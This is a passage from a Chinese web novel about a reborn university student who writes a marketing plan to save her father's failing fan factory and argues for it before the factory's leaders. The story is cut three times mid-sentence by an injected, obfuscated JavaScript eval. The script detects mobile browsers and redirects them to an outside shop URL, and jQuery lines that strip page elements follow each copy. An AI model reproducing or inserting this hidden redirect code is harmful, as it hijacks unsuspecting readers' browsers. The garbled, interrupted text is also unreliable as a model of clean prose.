许二嫂擦擦眼泪,像是抓住了救命稻草,“柠柠,你是大学生,有见识,帮我想想办法,我实在不知道该怎么办了。”
她和许兆康是自由恋爱,婆婆嫌她学历低,是个中专生,家庭也普通,不太待见她。
两人结婚后,在家里住了一年多,婆媳矛盾不断。两年前厂里分房子,当时她怀着孕,以他们的工龄只能分一套一室的。
厂里住房紧张,她怕等一辈子也等不到一室换两室。为了孩子,她求公公找关系送礼,最终达成所愿分了一套小两室。为此公公对她很失望,觉得她不够懂事。
关于二嫂和爸妈之间的矛盾,许晚柠一清二楚,所以她没把她爸妈扯进来,“二嫂,我记得阳阳姥姥没工作是吧?”
“对,我妈的工作让我嫂子替了,她这几年一直在帮我哥带孩子做饭。”
许二嫂说完,反应过来,“你想让我妈来帮我看孩子?这肯定不成,我哥嫂不会同意的。”
许晚柠提出建议,“白给你带孩子,你哥嫂可能不愿意。如果给钱呢,也不多给,比如我哥工资的一半。”
许兆康一个月基本工资350,加上工龄津贴各种补贴,能到400,拿出一半也就是200,她有些肉疼,也有意动。
许晚柠继续游说,“你哥家孩子不小了吧,我不信你哥嫂看顾不过来,只要你答应给工资,你说他们会不会连夜打包把阳阳姥姥送过来?”
“噗!”许二嫂破涕为笑,“你这都在哪学来的新鲜话,还打包送过来,真逗乐。”
“逗不逗乐不重要,有用就行。”
她想了想,确实可行,“我妈来了,白天看孩子做饭,晚上让她带着阳阳睡小屋。我半夜不用给阳阳盖被子,应该能睡个好觉了。”
许晚柠一脸无奈,“我的好二嫂,你让阳阳姥姥和阳阳睡主卧,你跟我二哥睡小屋。”
迎着二嫂疑惑的目光,她解释,“若是我哥晚上吵得你睡不着,你可以去主卧睡啊。你别忘了请阳阳姥姥过来,主要是为了照顾你,想让你休息好,其次是孩子。”
这还是她第一次听到有人跟她说,她是主要的,孩子是次要的,而且这个人是她的小姑子。
她眼睛发酸,勉强挤出笑容,“你出的主意不错,不过最近不行,厂里都快发不出工资了,我们养活自己都难,哪请得起我妈啊。”
两人继续往家属院走,许晚柠家离得近,在上楼之前,她轻声说,“二嫂,晚上我哥要是吵得你睡不着觉,你把他打发到小屋去睡,记住,没有什么比你的身体更重要。”
许二嫂心中一暖,“成,今天晚上我就让他去小屋睡。”
望着小姑子上楼的背影,她忽然觉得,不知何时,她竟然比自己丈夫更为可靠。
想到这,她回家的步伐逐渐加快。
她回去就把小屋收拾干净!
8. 迟来的叛逆期?
许晚柠回到家,发现赵秋红正坐在沙发上看电视。
客厅的落地扇呼呼地转,赵秋红见她回来,偏头看了她一眼,“天这么热,跑哪去了?”
许晚柠不太习惯母亲聊家常似的跟她说话,边换拖鞋边搪塞,“和朋友去市中心逛了逛,我爸呢?”
“你爸被你刘叔叫走,去他家喝酒了。”
说到这,她想起什么,语气带着几分不满,“早上我走的时候是不是嘱咐你吃饭,你怎么没吃?不吃怎么没放冰箱?要不是我中午有事回家一趟,饭闷在锅里,放到晚上一准坏。”
许晚柠这才想起来有这回事,当时她光想着赶紧去见爸爸,哪还顾得上吃,确实是她不对,她态度诚恳,“抱歉,我下次注意。”
赵秋红一噎,总觉得哪里不对,想了半天也没想出来,气得她连电视都看不下去了。
许晚柠回到卧室,躺在床上,累得不想动。她心里有些烦闷,不知道该用什么态度对待赵秋红。
上辈子她跟母亲闹得很僵,只要对方无理取闹或是翻旧账言语攻击她,她可以毫无负担的冷着她,甚至回怼几句。
可问题是,现在她回到二十年前,这时候她妈妈虽然有些唠叨,惹她不高兴了会说她几句,平时母女俩关系挺和睦的。
她该怎么办,烦死了!
许晚柠纠结来纠结去,不知不觉睡着了,还做了个梦。
梦里,赵秋红板着张脸,“你想离婚,我不同意。”
许晚柠苦苦哀求,“妈,您知道我过的是什么日子吗?我跟我婆婆天天在家吵架,我让贺思成帮我说话,他怂的连个屁都不敢放。”
“我要早知道他这么听他妈的话,我死也不嫁给他。还有他妹妹一点也不尊重我这个嫂子。我实在跟他过不下去了,你是我妈,你不应该跟我站在一边吗?我这么痛苦,你看不到吗?”
“柠柠,谁家媳妇不是这么熬过来的?当年我怀着你大哥,你奶奶要进城照顾我,我满心欢喜的答应。可她才来了几天,原形毕露,开始磋磨我,我那时候真是度日如年,天天盼着你奶奶回乡下老家去。”
“那时候我多难啊,不也过来了,你要实在跟你婆婆、小姑子处不到一块,想办法申请福利房搬出去。”
“什么福利房?福利房不早取消了吗?”
“反正我不同意你离婚。”
她声嘶力竭,“是我要离婚,为什么要征得你同意?”
许晚柠眼角湿润,猛地睁开眼,屋里有些暗,她有些分不清现实还是梦境。
这时,门外响起敲门声。
“柠柠,吃饭了。”
许晚柠起身,坐在床上发呆,在赵秋红第三次叫她时,她哑着嗓子回了一句,“来了!”
晚上赵秋红做的凉面,新鲜黄瓜切丝,拌上各种调料,最后再加上蒜汁和芝麻酱,味道好极了。
赵秋红见女儿闷头吃面,一句话也不说,心中思忖,难道是刚才进家,她说她几句生气了?
想到这,她吃饭的动作不禁慢了下来。她还没生气呢,她凭什么生气?再说,她说她几句怎么了?难道她不该说?
许晚柠吃了一碗面条,很克制地没有盛第二碗,拿着碗筷去厨房洗干净。
赵秋红觉得女儿今天安静得有点异常,难道真生气了?
这时,许晚柠洗好碗筷,准备回卧室写一份营销计划书,赵秋红突然叫住她。
“柠柠,你这是怎么了?怎么蔫了吧唧的,是不是白天出去逛街累着了?”可别中暑了!
许晚柠握着门把手,不自觉地用力,“是有点累,没啥事,我先回屋了。”
“这孩子。”
赵秋红眼睁睁地看着女儿进了卧室,心中烦闷,昨天柠柠从省城回来还好好的,怎么一宿的功夫,跟换了个人似的,跟她都不亲了。
她终于意识到哪不对了,从早上到现在,女儿一声妈都没叫过,太奇怪了。她猛地站起来,想进去问清楚,她到底怎么了,难道是迟来的叛逆期?
不行,她不能直接问。
她慢慢坐下来,仔细思忖片刻,女儿从小跟她爸最亲,她直接问,只怕会适得其反。算了,等丈夫回来再说吧。
许晚柠坐在桌前,拿出纸笔,先在纸上打草稿,把想写的计划简单写出来,逐一完善,最后确定没有疏漏,她神色郑重的写下“营销计划书”五个大字,然后开始奋笔疾书。
晚上十点,许晚柠做完最后修改,伸了个懒腰,听到门外响起关门上锁的声音,随即是一阵压低的对话。
许晚柠侧耳倾听,听到爸爸在说话,嘴角不自觉带上笑意。她刚想拿计划书出去让他看看,注意到上面的字迹和勾抹,算了,她还是先誊抄一遍吧。
此时门外,许国盛正在跟妻子说话。
“你们娘俩儿晚上吃的什么?”
“柠柠不是嚷嚷着要吃凉面?晚上做的黄瓜丝拌面,你这是喝了多少?”
“没多少?你小点声,女儿睡了吧?”
“屋里还亮着灯呢,应该还没睡。”
眼看许国盛要往女儿卧室方向去,赵秋红赶紧拉住他,“大晚上你去干什么?有什么事不能明天说?你闻闻一身酒味儿,熏死个人,赶紧洗漱换身衣服,我去给你熬醒酒汤。”
许国盛无奈,只得进了卫生间,简单擦洗,换了背心裤衩,坐在沙发上泡脚。
等许晚柠誊抄好计划书,打开房门,发现父亲靠在沙发上睡着了。
哪怕已经睡着,父亲眉头依旧皱着,带着一抹愁绪,萦绕不散。
算了,明天再找父亲看吧,不急于一时。
许晚柠放好计划书,等客厅彻底安静下来,轻手轻脚地去卫生间洗漱,回屋睡觉。
-
许兆康发现媳妇今天有点奇怪。
一家三口吃过晚饭,许二嫂让他看着孩子,她去收拾小屋。
“怎么突然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470274|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想起收拾这间屋子了?”许兆康抱着孩子,站在门口。
这间屋子除了媳妇坐月子的时候,丈母娘过来住过几天,后来再没人住过,床上放着不少杂物,到处都是灰尘。
许二嫂干活麻利,杂物规整好,脏床单扔地上等有时间洗,边边角角擦干净,换上新床单。
她看着收拾好的房间,十分满意,“从今天起,你睡这屋。”
许兆康懵了,“哎?不是,我怎么就睡这屋了?我又怎么你了?非要跟我分房睡?”
“你那么大声干嘛,小心吓着阳阳。”许二嫂白他一眼,目光温柔的看向儿子。
“阳阳跟妈妈睡还是跟爸爸?”
许沐阳毫不犹豫的说,“跟妈妈。”
许二嫂一脸得意。
许兆康一听,装作很伤心的样子,“那阳阳不要爸爸了吗?”
许沐阳摸摸他的脸,“要爸爸。”
许兆康笑着说,“那你亲亲爸爸。”
许沐阳小脸贴了贴爸爸脸。
许兆康不满足,狠狠亲了儿子两口。许沐阳咯咯笑出了声。
许二嫂忍不住嘴角上扬,收拾完小屋,又去厨房忙活。
许兆康抱着孩子追过来,“你还没说呢,我又哪惹着你了?”
许二嫂懒得理他。
许兆康禁不住抱怨,“你让我看孩子,我看没看?休息的时候,你让我刷碗、扫地、洗衣服,我哪样没干?怎么出去一趟,突然要跟我分房睡。”
你是不是有外心了?最后一句,他没敢说出来,怕挨骂。
许二嫂吭哧吭哧地刷碗,索性坦白直说,“你晚上睡觉打呼噜,我睡不好。自从生了阳阳,不对,我快生阳阳那几个月,晚上起夜上好几次厕所,从那时候起,我没有睡过一个整觉,我太累了。”
“除非你能保证晚上不打呼,或者你打呼噜,我踹你两脚你不生气,不然咱们分开睡,对谁都好。”
许兆康心虚,气势减弱,“这打呼噜谁能控制?再说,你晚上还打呼呢。”
许二嫂瞪了他一眼,“我打呼噜影响你休息了吗?可你影响到我了。”
许兆康无法反驳。
她洗好碗,又开始刷锅,“再说你干家务这事,这家不是我一个人的,我每天带阳阳也很辛苦。”
“况且,工作日你回到家,我除了让你看会阳阳,没让你动过一根手指头,怎么休息日让你干点活,你还委屈上了?”
“许兆康,谈恋爱的时候,甜言蜜语你张口就来,结了婚,你原形毕露了是吧?眼里看不见半点活,啥事都要我来安排你才做,从来没主动干过。”早知道他这德行,当初她嫁头猪都不嫁他。
可惜现在说什么都晚了,孩子都有了,还能咋着,凑合过吧。
晚上,许兆康抱着枕头去小屋睡。他躺在床上,百思不得其解,到底是谁给她出的馊主意?
别让他知道,否则他一定要她好看!
9. 我不同意!
星沉日升,一夜安眠。
许晚柠睁开眼,天色已然大亮。她随手拿起旁边的闹钟一看,都快八点了,惊地瞬间从床上坐起来。
她不是定的七点闹钟吗?怎么睡到这个时候?她睡过头没听见铃响?还是闹钟坏了压根没响?
来不及纠结,她赶紧下床,打开房门。
赵秋红换好衣服,从卧室出来,看见女儿穿着短袖短裤站在门口,惊讶,“你醒了?我刚想去叫你呢,饭在锅里,别忘了吃,我上班去了啊。”
说完,她想到什么,“你要是不想吃,记得放冰箱,出去买点吃也成。”
许晚柠胡乱点头,忙问,“我爸呢?”
怎么又找她爸?
赵秋红有些无奈,“你爸七点半就去厂里了,你找他有事?”
啥事不能跟她说?赵秋红心里有点泛酸。
许晚柠不知道该怎么解释,干脆含糊了一句,“也没啥事。”
她刚要关门,赵秋红叫住她,“等等,你昨天上午出去,是不是忘了跟邻居们打招呼?下次再着急,也要记得叫人,不然人家该说你不懂事了,知道不?”
许晚柠昨天心里有事,没太在意有没有碰到熟人,听她这意思,应该是有人跟她打小报告了,“知道了,我下次注意。”
赵秋红又嘱咐了几句,也不敢多说、说重,怕惹正处于‘叛逆期’的女儿不快。
等母亲唠叨完,离开家,许晚柠回屋换衣服,想着今天要办事,她翻出一件白色短袖衬衫,直筒牛仔裤换上,去卫生间洗漱过后,梳了个高马尾。
她看着镜子里的自己,捏捏脸蛋,皮肤还不错,简单抹了点润肤霜,准备换鞋去厂里。
刚要推门离开,她忽然想起什么,来到厨房掀开锅盖,里面有一碗小米粥,还有一个鸡蛋和馒头,她摸了摸还温着。
许晚柠心绪复杂,终究是没能辜负年轻母亲的好意。
馒头吃到一半,她打开冰箱,拿出咸菜瓶。馒头掰开,里面夹上一根腌黄瓜,味道更好。
吃过早饭,许晚柠顺手洗好碗筷,背着斜挎包前往华荣厂。
路上,想起赵秋红的提醒,许晚柠特意放慢脚步,遇到熟人,笑着打招呼。
“王婶吃了吗?”
“吃了,柠柠这是去哪儿?”
“我去厂里找我爸。”
“柠柠长大了,真是越来越漂亮了。”
许晚柠适时露出羞涩笑容,又看见一熟人,扬声道,“周姨,您这是刚买完菜回来?这豆角瞧着可真新鲜,上哪买的?”
“就在前边十字路口那,可便宜了,才一毛二。”
周姨跟赵秋红关系不错,拉着许晚柠说了好一会儿话,才问道,“对了,柠柠这是要去哪?”
“我去厂里找我爸,您有时间上家里坐坐,我妈在家常念叨您的。”
“好好好,改天一定去。”
一路走下来,许晚柠脸都快笑僵了。她轻呼一口气,若非人情世故是必修课,她是一点也不想学啊。
许晚柠在厂门口跟孙叔打完招呼,直奔办公楼。
她来的巧,刚到二楼,便看见许国盛拿着公文包正准备出门,连忙叫住他,“爸,您这是要出去?”
看到女儿,许国盛有些惊讶,“我跟你刘叔出去办点事,你怎么又来了?”
听出爸爸嘴里的嫌弃,许晚柠无语,快步走过去,双手环胸,控诉他,“爸,您是不是忘了昨天答应我,要给我一个机会,还是说,您压根没放在心上?”
许国盛神情有些不自然,他当时确实有些热血上头,鬼使神差的答应了不说,还派人陪她跑了一天。
原以为一天时间,她这三分钟热度过去,也就算了,没想到今天被女儿堵在门口,这叫个什么事啊?
许国盛无奈,抬手招呼她进办公室,“昨天你不是跟小张出去了,听小张说,你们去供销大厦、百货大楼逛了一圈。”
提起供销大厦,他想到什么,眼底藏着笑意问她,“你昨天跟供销大厦的售货员吵起来了?最后还是经理出面调停的,你胆子怎么这么大?不怕他们合起伙来欺负你?”
许晚柠轻哼,理直气壮地说,“怕什么?周围一群看热闹的人,他们不敢闹大。爸,您别担心,我有分寸。”
也是,听小张说,女儿处理的很好,最后还让经理给他们厂风扇换了最好的位置,既保住了面子又全身而退,他在她这个年纪都做不到这么好。
难道是大学教得好?压下心底怪异,他笑着说,“忙活一天,想到办法没有?”
他抬手看了眼时间,“我还有事,只能给你五分钟。”
许晚柠没急着拿出计划书,而是询问,“您这么着急要去哪?不会是去供销社或是百货大楼找领导要账吧?”
你以为他愿意去坐冷板凳啊?这不是没办法了么。
许国盛轻咳一声,掩去不自然,提醒她,“你还有四分钟。”
许晚柠觉得自己猜对了,慢吞吞地从挎包里拿出自己手写的计划书,递给他,“您自己看吧,您还有三分钟。”
这回旋镖最终还是落自己身上了是吗?
许国盛眼神无奈,抬手接过女儿递过来的纸张,本来没当回事,可当他看到标题,以及详细的计划,神色瞬间认真起来。
几分钟后,他抬起头,神情严肃,“这真是你写的?”
“您不会连自己女儿的字迹都不认识了吧?我的字可是您教的。”
她五岁练字,算上上辈子,练了三十多年,最终练就一手漂亮的行楷,字迹流畅,工整漂亮。
许国盛没太关注字迹,又看了一遍内容,最终叹了口气,“柠柠,你这份营销计划非常超前。不论是你提出的以旧换新活动,还是提议制定更加完善的售后服务,都足以证明你胆大心细,布局周密,可以说产品的各个环节都考虑到了,爸爸能看出你的用心。”
许晚柠挑眉,她太了解自己父亲,一般夸完,后面该泼冷水了。
果不其然,他继续说,“但是你有没有想过,我们是国企单位,更注重求稳,你这样的计划很难实行下去。”
“爸爸很想支持你,但是我作为华荣厂的厂长,是不可能同意的。”
许晚柠早知道这份计划书很难执行,但是没想到爸爸都不支持她,她有些失望,但更多的是怒其不争,“爸,抛开这些外因,我这个方案,您觉得成功概率有多少?”
许国盛低头看着这份近乎完美的计划书,实在不能昧着良心说不大,可就算他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470275|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
同意,其他领导能同意吗?华荣厂又不是他的一言堂,而且他只是代厂长,厂里不服他的人多了去了。
许晚柠观察父亲神色,心里有了底,“爸,既然您犹豫不决,不如开会决定吧,我相信我的计划能带华荣厂走出困境,哪怕只是一小步,最起码能把欠大家的工资发了吧?”
“天天跟孙子似的跟在别人屁股后面要账,真的有用?”
真有用就不会一分也要不回来了。
“柠柠,说话要注意分寸!”什么跟孙子似的?哪有这么埋汰自己亲爹的?
虽然她说的是实话,唉……
许国盛想起昨天下午收到的消息,思虑良久,终于做了决定。
“那就开会表决。”
-
半小时后,会议室。
许国盛刚坐下,有人憋不住了。
销售科长跟椅子上长了刺儿似的,压根坐不住,他满脸焦急地说,“厂长,找我们开会有啥事啊?我一会儿还得出去见客户呢。”
生产科长跟着表态,“现在大家都知道这个月工资暂时不发,人心惶惶,车间得有人盯着。”
工会主席拿起搪瓷缸,慢吞吞的喝了口热水,“今天该轮到厂长跟刘科长出去要账了吧?能要回来吗?”
副厂长打开笔记本,一脸淡定,“行了,先听听厂长怎么说。”
孙科长瞅了这些人一眼,没吭声。
许国盛抬抬眼皮,“都说完了?”
他眼神很冷,有失望也有无奈。
等会议室安静下来,他拿起计划书,推给左手边的副厂长,“你们先看看,挨个看完之后,再表态。”
一共三页纸,五个人轮流看下来,也不过十几分钟。
期间,销售科长想开口说点什么,抬头看到难得冷着一张脸,一言不发的厂长,不知为何有些发怵,话又憋了回去。
等大家看完,计划书重新回到许国盛手边,他屈指敲敲桌子,“说说吧,都什么想法?”
销售科长第一个站出来,“我不同意!这不是瞎胡闹吗?写计划书的人压根不了解市场,还要求经销商进货当天必须结清货款,这条件一出,哪个理你?”
他双手一拍,“这不成笑话了吗?”
副厂长轻咳一声,“李科长说的不无道理,现在市场行情就这样,不光咱们一家,市里多少生产单位,拿不到货款,咱们搞这么一出,成了还好,如果搞砸了,真成全市笑话了。”
“还有吗?”许国盛看向生产科长,“梁科长,你什么意见?”
梁科长谁也不想得罪,开始打太极,“厂长,我只管生产,销售这方面我不懂啊。不过,老话说得好,遇事不决,求稳准没错,您说是吧?”
许国盛早有预料,蹙着眉,无奈地叹了口气,“若是求稳有用,我们也不会被经销商掐着脖子,一分货款也要不回来!”
“那也比让人等着看笑话强!”李科长梗着脖子说了一句。
听到这,工会主席冷哼一声,“我倒觉得这计划写得不错,想法虽然超前,但可实行性很高,这谁写的?”
厂里居然还有这样的人才?
“我写的。”
早坐在门口待命的许晚柠,拿着纸笔站了起来。
10. 有问题?我来解决!
许晚柠走到末席,先友好地冲工会主席点点头,随后面向众人,嘴角含笑。
“各位领导好,我是计划的书写者,许晚柠。”
居然是她!
许晚柠,许国盛的小女儿,省城大学的高材生,大家同住一个家属院,对她并不陌生,只是没想到,这份计划书居然是她写的。
看在许厂长的面子上,在场的大部分领导面露微笑,只有李科长脸色难看。
早在昨天他听说厂长让小张跟着他女儿出去跑了一天,心想,一个还没出校门的大学生,能做成什么事,没想到对方真拿出一份详细的计划书打他脸。
他看向许国盛,“厂长,咱们在开会,您女儿在这,不合规矩吧?”
许国盛瞥他一眼,“是我让她来的,她站在这,不是以我女儿的身份,而是计划的制定者,你们有什么问题,都可以问她。”
李科长见其他人都不说话,本想一走了之,以示不满,可看到对面有人给他使眼色,最终还是忍了下来。
会议室瞬间安静,没人问话,这就尴尬了。
刘科长刚想说点什么帮她解围。
许晚柠唇角一勾,“既然各位领导暂时没有其他意见,我先回答一下刚才李科长的问题。”
李科长满脸疑惑,他什么时候提问题了?
“李科长对活动参与方提出疑虑,认为没有经销商会答应我们的参与条件,当天结清货款。”
许晚柠还未说完,李科长嗤笑一声,“这不明摆的事么?许家丫头大学还没毕业吧,书本上学到的知识,想要运用得当,你还得再历练几年。”
就差指着鼻子骂她纸上谈兵了,许晚柠笑容不达眼底,既然你不客气,那我只好得罪了。
“李科长,既然您觉得没有经销商答应我们的条件参加活动,那么我冒昧请教您一个问题。”
许晚柠不等他拒绝,直接问,“您是销售科科长,负责厂里销售一切事宜,如今大部分经销商只拿货不给钱,是真的给不了吗?”
李科长眼神微眯,“你什么意思?”
许晚柠表情坦率,“意思很简单,像百货大楼、供销社这样拿货量大的经销商,最擅长拖字诀。同为国营单位,一时拿不到货款,我们也没招。”
对方一直跟他们打太极,除非撕破脸,不然哪那么容易拿到货款?
“那县城的小批发商呢?大家别忘了,我们可是国营厂,生产的电风扇不仅质量好,老款折扣也不低。我看过出货单,上个月所有的小批发商加起来,拿货量占比百分之四十二。”
“将近一半的拿货量,收到的货款却寥寥无几。我请问,哪怕如今国企式微,也不至于连个体户一半的货款都收不上来吧?”
生产科长和工会主席对视一眼,垂眸不语。
李科长眼皮一跳,“你懂什么!现在行情就这样,小批发商压着货不给钱,我有什么办法?难道不卖给他们?你不卖有的是人卖,如果抱着这种想法,咱们厂趁早关门大吉吧!”
这就急了?
许晚柠两手一摊,“李科长,您是销售科领导,在这个岗位上兢兢业业干了二十多年,我自是不如您懂。”
“我只知道,销售的职责是卖货,可货卖出去了,货款收不回来,谁的责任?”
这是在说他无能?
“你!”李科长气得满脸通红,刚要说什么。
许国盛呵斥一声,“晚柠,怎么跟你李叔叔说话呢?还不赶紧道歉!”
许晚柠连忙鞠躬致歉,“对不起,李叔叔,我一个还没出校门的大学生,第一次跟这么多领导参加会议,有点紧张,一不小心说了实话,您应该不会怪我吧?”
李科长指着许晚柠,气得差点说不出话来,“许厂长,你养的好女儿,很好!”
他站起来,愤而离席。
许国盛气得拍桌子,“李建军,你给我站住,现在是在开会讨论,你说走就走,简直无组织无纪律!作为一名党员,科室领导,你有没有把党规党纪、组织原则放在眼里?”
李科长脚步顿住,双拳紧握。
许国盛声音压低,“工作讨论中,遇到分歧,产生争执,这都是正常的,难道有矛盾,受点委屈,就能不管不顾,一走了之,这是党员该有的担当?”
副厂长适时起身,拉了李科长手臂一把,将他按回座位上,出来打圆场,“好了,老许,他这不是气糊涂了吗?来,会议继续。”
许国盛哼了一声,随后给了女儿一记适可而止的眼神,重新坐下。
许晚柠没有再揪着此事不放,她开始打感情牌,“我从小在华荣厂长大,是各位叔叔看着长大的,我做这个计划也是为了厂子好。若在讨论过程中,有什么得罪之处,还请各位叔叔多体谅。”
“我先说说我写这份计划的初衷,昨天上午我爸被一群工人堵门,各位叔叔都听说了吧,不巧,我刚好过来找我爸,目睹了全程。”
说到这,她神情肃然,“我没想到,曾经的行业标杆,承载无数荣光的老厂,如今却连工资都发不出来?”
虽然是事实,但是被这么年轻的晚辈,当着他们的面说出,大家脸上都不好看。
许晚柠可不管伤不伤领导面子,厂子都快倒闭了,面子能值几个钱?
她继续说,“各位有没有想过,如果再这样下去,我们厂会面临什么样的结局。”
说到这,她顿了顿,有些话不必说出来,大家心里都很清楚,只不过没人捅破那层窗户纸,走一步算一步。
在场的人都不说话,许晚柠沉声说,“我知道我制定的计划书在各位眼中,很难实现,因为没有人这么做过。”
“但邓同志曾说过,实践是检验真理的唯一标准。”
她眼睛明亮,语气坚定,“没人做过,不代表不会成功,总要有人站出来,做第一个。”
许国盛轻咳一声,“晚柠说的不错,如今厂子岌岌可危,想要破局,必须当机立断,抓住机会,难道大家还有更好的办法吗?”
见众人互相看看,没人肯出头,他只好另寻突破口,“老郑,你年轻时扎根生产一线,带领团队攻克产能瓶颈,提高生产效率,创下记录,因此被评为市级劳动模范,还没忘吧?”
大家纷纷看向副厂长,郑辉面不改色,脸微微发红,“好端端的提这个干什么?”
许国盛不理他,挨个点名挨个夸,夸完之后,他面露颓然,“咱们老了,思想固化,被囿于这小小的华荣厂二十多年,早没了年轻时的那股冲劲,若是咱们年轻二十岁,看到这份计划书,会是什么想法?”
此言一出,会议室里一片寂静。
刘科长见许国盛给他使眼色,叹了口气,开口道,“晚柠,我有几个问题。你在计划中提到活动预算,包含
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470276|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
活动奖品、宣传费用以及人工支出等等,总预算设定在10000-15000?这个范围是怎么算的,怎么相差这么多?”
“还有,厂里需要投入这么多吗?活动成本会不会太高了?”
这个问题,许晚柠准备过,并不难回答,“厂里需要给参与活动的经销商准备奖品,以及宣传物料等等,还有活动执行期间各个营销点需要指派负责人以及工作人员。”
“初步拟定我厂门市部,以及市里其他三个区各找一个活动点。咱们厂经销商覆盖保城市18个县,我只打算跑距离最近的4个强县和7个中县,像偏远地区弱县,消费能力有限,暂不考虑。”
“市区四个点,周边县11个点,如果都能跑下来,预算大概在15000左右。活动要求经销商当天结清货款,条件相对严苛,可能有经销商不愿意参加,那么我们会失去一部分市场,不过我给自己定的最低目标是10个点,预算最低10000。”
刘科长沉思片刻,“一个点预算1000,包含奖品、人工、宣传,这个预算合理。”
他刷刷在笔记本上写上几笔,然后抬起头,“我暂时没有其他问题。”
提到人工,工会主席心里一动,“许家丫头,参与活动的工作人员是从厂里挑选吗?他们需要做什么?”
许晚柠点头,“对,大部分都在厂里挑,前期像宣传派发,除了县城往返不便,需要经销商自己找人。市区派发,以及活动期间控场、主持、引导销售等等,都需要人手。”
“我相信,论对产品的熟悉以及对厂里的责任感、使命感,没有人能比得上咱们厂的职工。”
那是自然,工会主席满意点头,除了这个,他还有一点比较关心,“参与活动人员,工资怎么算?”
上面写的活动前期宣传到整个活动结束,大概要十几天,工资不好核算吧?
提到工资,刘科长也看了过来,他是财务科长,只要跟钱相关,他都关心。
许晚柠想了想,“像派发宣传单这类工作暂定10元一天,活动执行期间工作人员会非常忙,暂定15元一天,活动结束三天内,工资进行结算。”
三天内结算?
工会主席看向刘科长,“老刘,你们科能行吗?”平时报销点费用,跟要他们老命似的,哪次不是拖到下个月?
刘科长本来有疑虑,这么大的活动要求三天内结算,他们科室才几个人,核销起来太麻烦。
只是,他一听工会主席质疑,当下逆反,“怎么不行?只要活动能办起来,我们科全力配合。”
郑辉听同事一连问了好几个问题,一句都没问到点上,忍不住开口,“活动搞这么大,凑热闹的人肯定不少,怎么维持现场秩序?”
“还有抽奖环节,要是有人抽到奖品不满意,质疑咱们作假,故意闹事怎么办?”
这确实是个大问题,如果活动中有人闹事,甚至因为秩序混乱造成踩踏事故等等,他们这些人轻则写检讨,重则降职、甚至撤职处理。
思及此,大家都不吭声了,没人会跟自己的前途过不去。
许国盛暗叹,他早知道会这样,这份计划书好是好,可对于国企来说,步子迈得太大,风险太高,哪怕是在厂子生死存亡之际,大家也不敢赌。
他看向女儿,眼含担忧,像是在说。
如此,你还要坚持吗?
11. 关关难过,关关过!
她当然要坚持!
郑副厂长提到的问题,她已经做好预案。
许晚柠站在那,侃侃而谈,“活动期间,我们可以请电视台记者进行报道。众所周知,电视台公信力高,在老百姓心目中的分量很重,相信在电视台的威慑下没人敢闹事。”
“同时,请电视台的人来,可以对咱们厂产品进行宣传,扩大影响力。”
“之前咱们厂产品主要在省内销售,从去年开始,销售区域逐渐收缩,目前集中在本市以及周边县市,我们必须利用好这次活动,打一场漂亮的翻身仗。”
“通过这次活动,以及电视台造成的影响力,让我们的品牌重新走出去,给经销商建立充足的信心。用实际行动告诉他们,咱们华荣厂的产品质量好,售后服务一流,老百姓信赖,根本不愁卖!”
众人一听,纷纷点头,这办法不错。
许国盛眼中闪过一丝赞许,可很快又面露难色,“电视台的人,我们能请过来吗?你们在台里有认识的人吗?”
在场的领导面面相觑,仔细一扒拉,这个还真没有。
许晚柠见状,主动把活儿揽了过来,“爸,这事儿既然是我提出来的,我来想办法吧。”
许国盛瞪她一眼,她想什么办法?电视台的人是能随便请来的吗?
许晚柠当没看见,她心中自有章法,在事没成之前,她不喜欢打包票。
梁科长抬眼瞧了瞧,见郑副厂长没话说,清清嗓子问道,“晚柠啊,你写的这个以旧换新活动,具体怎么操作?厂里会不会亏钱?”
这么热的天,他们生产部门吭哧吭哧造新风扇,可不是为了换一堆废品回来的。
许晚柠解释,“普通人家的电风扇坏了,一般会拿到维修点花钱修一修,接着用,实在修不了,比如电机坏了,只能卖废品折现。”
“可卖废品顶天了能卖个五六块钱,而我们以旧换新活动可以根据旧风扇实际情况折10-20元,是不是比卖废品划算多了?而且一台旧的收进来,就有一台新的卖出去,这都是销量啊!”
总之,想尽办法卖货!
梁科长点点头,听起来不错。
一旁的刘科长想起西边小库房那一屋子废弃零件,面露忧愁,“这旧风扇,咱们厂收进来能干嘛?”
不会也卖废品吧?折这么多,再算上运输,真的不会赔钱吗?
许晚柠在华荣厂长大,基本常识还是知道一些的,“旧风扇的电机比较值钱,可以拆开看还能不能用,另外其他配件能用的接着用,不能用的拆开分类卖掉,比整台卖废品值钱。”
听起来有理有据,刘科长不禁点头,这样看来,实操性很强啊。
